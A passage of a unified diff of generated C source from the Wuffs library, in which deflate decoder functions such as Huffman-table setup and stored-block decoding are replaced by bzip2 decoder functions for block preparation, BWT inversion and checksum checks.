a_src); + if (a_src) { + iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- if (status.repr) { +- goto suspend; +- } +- continue; +- } else if (v_type == 1u) { +- v_status = wuffs_deflate__decoder__init_fixed_huffman(self); +- if ( ! wuffs_base__status__is_ok(&v_status)) { ++ if (wuffs_base__status__is_error(&v_status)) { + status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; ++ goto exit; ++ } else if (self->private_impl.f_decode_huffman_finished) { ++ break; + } +- } else if (v_type == 2u) { + if (a_src) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_deflate__decoder__init_dynamic_huffman(self, a_src); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ status = wuffs_bzip2__decoder__decode_huffman_slow(self, a_src); + if (a_src) { + iop_a_src = a_src->data.ptr + a_src->meta.ri; + } + if (status.repr) { + goto suspend; + } +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_block); ++ } ++ wuffs_bzip2__decoder__invert_bwt(self); ++ self->private_impl.f_block_checksum_have = 4294967295u; ++ if (self->private_impl.f_original_pointer >= self->private_impl.f_block_size) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); + goto exit; + } +- self->private_impl.f_end_of_block = false; +- while (true) { +- if (sizeof(void*) == 4u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_deflate__decoder__decode_huffman_fast32(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } else { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- v_status = wuffs_deflate__decoder__decode_huffman_fast64(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- if (wuffs_base__status__is_error(&v_status)) { +- status = v_status; +- goto exit; +- } +- if (self->private_impl.f_end_of_block) { +- goto label__outer__continue; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- status = wuffs_deflate__decoder__decode_huffman_slow(self, a_dst, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ self->private_impl.f_flush_pointer = (self->private_data.f_bwt[self->private_impl.f_original_pointer] >> 12u); ++ self->private_impl.f_flush_repeat_count = 0u; ++ self->private_impl.f_flush_prev = 0u; ++ while (self->private_impl.f_block_size > 0u) { ++ wuffs_bzip2__decoder__flush_fast(self, a_dst); ++ if (self->private_impl.f_block_size <= 0u) { ++ break; + } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ status = wuffs_bzip2__decoder__flush_slow(self, a_dst); + if (status.repr) { + goto suspend; + } +- if (self->private_impl.f_end_of_block) { +- goto label__outer__continue; ++ } ++ self->private_impl.f_block_checksum_have ^= 4294967295u; ++ if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_block_checksum_have != self->private_impl.f_block_checksum_want)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_checksum); ++ goto exit; ++ } ++ self->private_impl.f_final_checksum_have = (self->private_impl.f_block_checksum_have ^ ((self->private_impl.f_final_checksum_have >> 31u) | ((uint32_t)(self->private_impl.f_final_checksum_have << 1u)))); ++ } ++ v_final_checksum_want = 0u; ++ v_i = 0u; ++ while (v_i < 32u) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; + } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } ++ v_final_checksum_want <<= 1u; ++ v_final_checksum_want |= (self->private_impl.f_bits >> 31u); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; ++ } ++ if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_final_checksum_have != v_final_checksum_want)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_checksum); ++ goto exit; + } + ++ goto ok; + ok: +- self->private_impl.p_decode_blocks[0] = 0; ++ self->private_impl.p_do_transform_io = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_blocks[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_blocks[0].v_final = v_final; ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_transform_io.v_i = v_i; ++ self->private_data.s_do_transform_io.v_tag = v_tag; ++ self->private_data.s_do_transform_io.v_final_checksum_want = v_final_checksum_want; + + goto exit; + exit: +@@ -34714,32 +34630,23 @@ wuffs_deflate__decoder__decode_blocks( + return status; + } + +-// -------- func deflate.decoder.decode_uncompressed ++// -------- func bzip2.decoder.prepare_block + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_uncompressed( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__prepare_block( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_length = 0; +- uint32_t v_n_copied = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ uint32_t v_selector = 0; ++ uint32_t v_sel_ff = 0; ++ uint8_t v_movee = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -34751,387 +34658,287 @@ wuffs_deflate__decoder__decode_uncompressed( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_uncompressed[0]; ++ uint32_t coro_susp_point = self->private_impl.p_prepare_block; + if (coro_susp_point) { +- v_length = self->private_data.s_decode_uncompressed[0].v_length; ++ v_i = self->private_data.s_prepare_block.v_i; ++ v_selector = self->private_data.s_prepare_block.v_selector; + } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } +- self->private_impl.f_n_bits = 0u; +- self->private_impl.f_bits = 0u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_uncompressed[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { ++ self->private_impl.f_block_checksum_want = 0u; ++ v_i = 0u; ++ while (v_i < 32u) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_decode_uncompressed[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- v_length = t_0; +- } +- if ((((v_length) & 0xFFFFu) + ((v_length) >> (32u - 16u))) != 65535u) { +- status = wuffs_base__make_status(wuffs_deflate__error__inconsistent_stored_block_length); +- goto exit; +- } +- v_length = ((v_length) & 0xFFFFu); +- while (true) { +- v_n_copied = wuffs_base__io_writer__limited_copy_u32_from_reader( +- &iop_a_dst, io2_a_dst,v_length, &iop_a_src, io2_a_src); +- if (v_length <= v_n_copied) { +- status = wuffs_base__make_status(NULL); +- goto ok; +- } +- v_length -= v_n_copied; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) == 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- } else { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- } ++ self->private_impl.f_block_checksum_want <<= 1u; ++ self->private_impl.f_block_checksum_want |= (self->private_impl.f_bits >> 31u); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; + } +- +- ok: +- self->private_impl.p_decode_uncompressed[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_uncompressed[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_decode_uncompressed[0].v_length = v_length; +- +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func deflate.decoder.init_fixed_huffman +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__init_fixed_huffman( +- wuffs_deflate__decoder* self) { +- uint32_t v_i = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- while (v_i < 144u) { +- self->private_data.f_code_lengths[v_i] = 8u; +- v_i += 1u; +- } +- while (v_i < 256u) { +- self->private_data.f_code_lengths[v_i] = 9u; +- v_i += 1u; +- } +- while (v_i < 280u) { +- self->private_data.f_code_lengths[v_i] = 7u; +- v_i += 1u; +- } +- while (v_i < 288u) { +- self->private_data.f_code_lengths[v_i] = 8u; +- v_i += 1u; +- } +- while (v_i < 320u) { +- self->private_data.f_code_lengths[v_i] = 5u; +- v_i += 1u; +- } +- v_status = wuffs_deflate__decoder__init_huff(self, +- 0u, +- 0u, +- 288u, +- 257u); +- if (wuffs_base__status__is_error(&v_status)) { +- return v_status; +- } +- v_status = wuffs_deflate__decoder__init_huff(self, +- 1u, +- 288u, +- 320u, +- 0u); +- if (wuffs_base__status__is_error(&v_status)) { +- return v_status; +- } +- return wuffs_base__make_status(NULL); +-} +- +-// -------- func deflate.decoder.init_dynamic_huffman +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__init_dynamic_huffman( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_b0 = 0; +- uint32_t v_n_lit = 0; +- uint32_t v_n_dist = 0; +- uint32_t v_n_clen = 0; +- uint32_t v_i = 0; +- uint32_t v_b1 = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- uint32_t v_mask = 0; +- uint32_t v_table_entry = 0; +- uint32_t v_table_entry_n_bits = 0; +- uint32_t v_b2 = 0; +- uint32_t v_n_extra_bits = 0; +- uint8_t v_rep_symbol = 0; +- uint32_t v_rep_count = 0; +- uint32_t v_b3 = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_init_dynamic_huffman[0]; +- if (coro_susp_point) { +- v_bits = self->private_data.s_init_dynamic_huffman[0].v_bits; +- v_n_bits = self->private_data.s_init_dynamic_huffman[0].v_n_bits; +- v_n_lit = self->private_data.s_init_dynamic_huffman[0].v_n_lit; +- v_n_dist = self->private_data.s_init_dynamic_huffman[0].v_n_dist; +- v_n_clen = self->private_data.s_init_dynamic_huffman[0].v_n_clen; +- v_i = self->private_data.s_init_dynamic_huffman[0].v_i; +- v_mask = self->private_data.s_init_dynamic_huffman[0].v_mask; +- v_n_extra_bits = self->private_data.s_init_dynamic_huffman[0].v_n_extra_bits; +- v_rep_symbol = self->private_data.s_init_dynamic_huffman[0].v_rep_symbol; +- v_rep_count = self->private_data.s_init_dynamic_huffman[0].v_rep_count; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- v_bits = self->private_impl.f_bits; +- v_n_bits = self->private_impl.f_n_bits; +- while (v_n_bits < 14u) { ++ if (self->private_impl.f_n_bits <= 0u) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint32_t t_0 = *iop_a_src++; +- v_b0 = t_0; ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; + } +- v_bits |= (v_b0 << v_n_bits); +- v_n_bits += 8u; +- } +- v_n_lit = (((v_bits) & 0x1Fu) + 257u); +- if (v_n_lit > 286u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_literal_length_code_count); +- goto exit; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- v_bits >>= 5u; +- v_n_dist = (((v_bits) & 0x1Fu) + 1u); +- if (v_n_dist > 30u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance_code_count); ++ if ((self->private_impl.f_bits >> 31u) != 0u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__unsupported_block_randomization); + goto exit; + } +- v_bits >>= 5u; +- v_n_clen = (((v_bits) & 0xFu) + 4u); +- v_bits >>= 4u; +- v_n_bits -= 14u; ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ self->private_impl.f_original_pointer = 0u; + v_i = 0u; +- while (v_i < v_n_clen) { +- while (v_n_bits < 3u) { ++ while (v_i < 24u) { ++ if (self->private_impl.f_n_bits <= 0u) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint32_t t_1 = *iop_a_src++; +- v_b1 = t_1; ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; + } +- v_bits |= (v_b1 << v_n_bits); +- v_n_bits += 8u; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- self->private_data.f_code_lengths[WUFFS_DEFLATE__CODE_ORDER[v_i]] = ((uint8_t)((v_bits & 7u))); +- v_bits >>= 3u; +- v_n_bits -= 3u; ++ self->private_impl.f_original_pointer <<= 1u; ++ self->private_impl.f_original_pointer |= (self->private_impl.f_bits >> 31u); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; + v_i += 1u; + } +- while (v_i < 19u) { +- self->private_data.f_code_lengths[WUFFS_DEFLATE__CODE_ORDER[v_i]] = 0u; ++ v_i = 0u; ++ while (v_i < 256u) { ++ self->private_data.f_presence[v_i] = 0u; + v_i += 1u; + } +- v_status = wuffs_deflate__decoder__init_huff(self, +- 0u, +- 0u, +- 19u, +- 4095u); +- if (wuffs_base__status__is_error(&v_status)) { +- status = v_status; +- goto exit; +- } +- v_mask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); + v_i = 0u; +- while (v_i < (v_n_lit + v_n_dist)) { +- while (true) { +- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_mask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- if (v_n_bits >= v_table_entry_n_bits) { +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- break; +- } ++ while (v_i < 256u) { ++ if (self->private_impl.f_n_bits <= 0u) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint32_t t_2 = *iop_a_src++; +- v_b2 = t_2; ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; + } +- v_bits |= (v_b2 << v_n_bits); +- v_n_bits += 8u; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- if ((v_table_entry >> 24u) != 128u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; ++ if ((self->private_impl.f_bits >> 31u) != 0u) { ++ self->private_data.f_presence[v_i] = 1u; + } +- v_table_entry = ((v_table_entry >> 8u) & 255u); +- if (v_table_entry < 16u) { +- self->private_data.f_code_lengths[v_i] = ((uint8_t)(v_table_entry)); +- v_i += 1u; ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 16u; ++ } ++ self->private_data.f_scratch = 0u; ++ v_i = 0u; ++ while (v_i < 256u) { ++ if (self->private_data.f_presence[v_i] == 0u) { ++ v_i += 16u; + continue; + } +- v_n_extra_bits = 0u; +- v_rep_symbol = 0u; +- v_rep_count = 0u; +- if (v_table_entry == 16u) { +- v_n_extra_bits = 2u; +- if (v_i <= 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_repetition); +- goto exit; ++ while (true) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; ++ } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; ++ } ++ self->private_data.f_scratch += (self->private_impl.f_bits >> 31u); ++ self->private_data.f_presence[(v_i & 255u)] = ((uint8_t)((self->private_impl.f_bits >> 31u))); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; ++ if ((v_i & 15u) == 0u) { ++ break; + } +- v_rep_symbol = (self->private_data.f_code_lengths[(v_i - 1u)] & 15u); +- v_rep_count = 3u; +- } else if (v_table_entry == 17u) { +- v_n_extra_bits = 3u; +- v_rep_symbol = 0u; +- v_rep_count = 3u; +- } else if (v_table_entry == 18u) { +- v_n_extra_bits = 7u; +- v_rep_symbol = 0u; +- v_rep_count = 11u; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; + } +- while (v_n_bits < v_n_extra_bits) { ++ } ++ if ((self->private_data.f_scratch < 1u) || (256u < self->private_data.f_scratch)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); ++ goto exit; ++ } ++ self->private_impl.f_num_symbols = (self->private_data.f_scratch + 2u); ++ self->private_data.f_scratch = 0u; ++ v_i = 0u; ++ while (v_i < 3u) { ++ if (self->private_impl.f_n_bits <= 0u) { + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint32_t t_3 = *iop_a_src++; +- v_b3 = t_3; ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; + } +- v_bits |= (v_b3 << v_n_bits); +- v_n_bits += 8u; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } +- v_rep_count += ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_n_extra_bits)); +- v_bits >>= v_n_extra_bits; +- v_n_bits -= v_n_extra_bits; +- while (v_rep_count > 0u) { +- if (v_i >= (v_n_lit + v_n_dist)) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_count); +- goto exit; ++ self->private_data.f_scratch <<= 1u; ++ self->private_data.f_scratch |= (self->private_impl.f_bits >> 31u); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; ++ } ++ if ((self->private_data.f_scratch < 2u) || (6u < self->private_data.f_scratch)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); ++ goto exit; ++ } ++ self->private_impl.f_num_huffman_codes = self->private_data.f_scratch; ++ self->private_data.f_scratch = 0u; ++ v_i = 0u; ++ while (v_i < 15u) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; + } +- self->private_data.f_code_lengths[v_i] = v_rep_symbol; +- v_i += 1u; +- v_rep_count -= 1u; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } ++ self->private_data.f_scratch <<= 1u; ++ self->private_data.f_scratch |= (self->private_impl.f_bits >> 31u); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; + } +- if (v_i != (v_n_lit + v_n_dist)) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_count); ++ if ((self->private_data.f_scratch < 1u) || (18001u < self->private_data.f_scratch)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); + goto exit; + } +- if (self->private_data.f_code_lengths[256u] == 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__missing_end_of_block_code); +- goto exit; ++ self->private_impl.f_num_sections = self->private_data.f_scratch; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_num_huffman_codes) { ++ self->private_data.f_mtft[v_i] = ((uint8_t)(v_i)); ++ v_i += 1u; + } +- v_status = wuffs_deflate__decoder__init_huff(self, +- 0u, +- 0u, +- v_n_lit, +- 257u); +- if (wuffs_base__status__is_error(&v_status)) { +- status = v_status; +- goto exit; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_num_sections) { ++ v_selector = 0u; ++ while (true) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_7 = *iop_a_src++; ++ v_c8 = t_7; ++ } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; ++ } ++ if ((self->private_impl.f_bits >> 31u) == 0u) { ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ break; ++ } ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_selector += 1u; ++ if (v_selector >= self->private_impl.f_num_huffman_codes) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); ++ goto exit; ++ } ++ } ++ if (v_selector == 0u) { ++ self->private_data.f_huffman_selectors[v_i] = self->private_data.f_mtft[0u]; ++ } else { ++ v_sel_ff = (v_selector & 255u); ++ v_movee = self->private_data.f_mtft[v_sel_ff]; ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_sel_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_sel_ff)); ++ self->private_data.f_mtft[0u] = v_movee; ++ self->private_data.f_huffman_selectors[v_i] = v_movee; ++ } ++ v_i += 1u; + } +- v_status = wuffs_deflate__decoder__init_huff(self, +- 1u, +- v_n_lit, +- (v_n_lit + v_n_dist), +- 0u); +- if (wuffs_base__status__is_error(&v_status)) { +- status = v_status; +- goto exit; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_num_huffman_codes) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_bzip2__decoder__read_code_lengths(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ v_status = wuffs_bzip2__decoder__build_huffman_tree(self, v_i); ++ if (wuffs_base__status__is_error(&v_status)) { ++ status = v_status; ++ goto exit; ++ } ++ wuffs_bzip2__decoder__build_huffman_table(self, v_i); ++ v_i += 1u; ++ } ++ v_i = 0u; ++ v_j = 0u; ++ while (v_i < 256u) { ++ if (self->private_data.f_presence[v_i] != 0u) { ++ self->private_data.f_mtft[(v_j & 255u)] = ((uint8_t)(v_i)); ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 256u) { ++ self->private_data.f_letter_counts[v_i] = 0u; ++ v_i += 1u; + } +- self->private_impl.f_bits = v_bits; +- self->private_impl.f_n_bits = v_n_bits; + + goto ok; + ok: +- self->private_impl.p_init_dynamic_huffman[0] = 0; ++ self->private_impl.p_prepare_block = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_init_dynamic_huffman[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_init_dynamic_huffman[0].v_bits = v_bits; +- self->private_data.s_init_dynamic_huffman[0].v_n_bits = v_n_bits; +- self->private_data.s_init_dynamic_huffman[0].v_n_lit = v_n_lit; +- self->private_data.s_init_dynamic_huffman[0].v_n_dist = v_n_dist; +- self->private_data.s_init_dynamic_huffman[0].v_n_clen = v_n_clen; +- self->private_data.s_init_dynamic_huffman[0].v_i = v_i; +- self->private_data.s_init_dynamic_huffman[0].v_mask = v_mask; +- self->private_data.s_init_dynamic_huffman[0].v_n_extra_bits = v_n_extra_bits; +- self->private_data.s_init_dynamic_huffman[0].v_rep_symbol = v_rep_symbol; +- self->private_data.s_init_dynamic_huffman[0].v_rep_count = v_rep_count; ++ self->private_impl.p_prepare_block = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_prepare_block.v_i = v_i; ++ self->private_data.s_prepare_block.v_selector = v_selector; + + goto exit; + exit: +@@ -35142,285 +34949,295 @@ wuffs_deflate__decoder__init_dynamic_huffman( + return status; + } + +-// -------- func deflate.decoder.init_huff ++// -------- func bzip2.decoder.read_code_lengths + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__init_huff( +- wuffs_deflate__decoder* self, +- uint32_t a_which, +- uint32_t a_n_codes0, +- uint32_t a_n_codes1, +- uint32_t a_base_symbol) { +- uint16_t v_counts[16] = {0}; ++wuffs_bzip2__decoder__read_code_lengths( ++ wuffs_bzip2__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; + uint32_t v_i = 0; +- uint32_t v_remaining = 0; +- uint16_t v_offsets[16] = {0}; +- uint32_t v_n_symbols = 0; +- uint32_t v_count = 0; +- uint16_t v_symbols[320] = 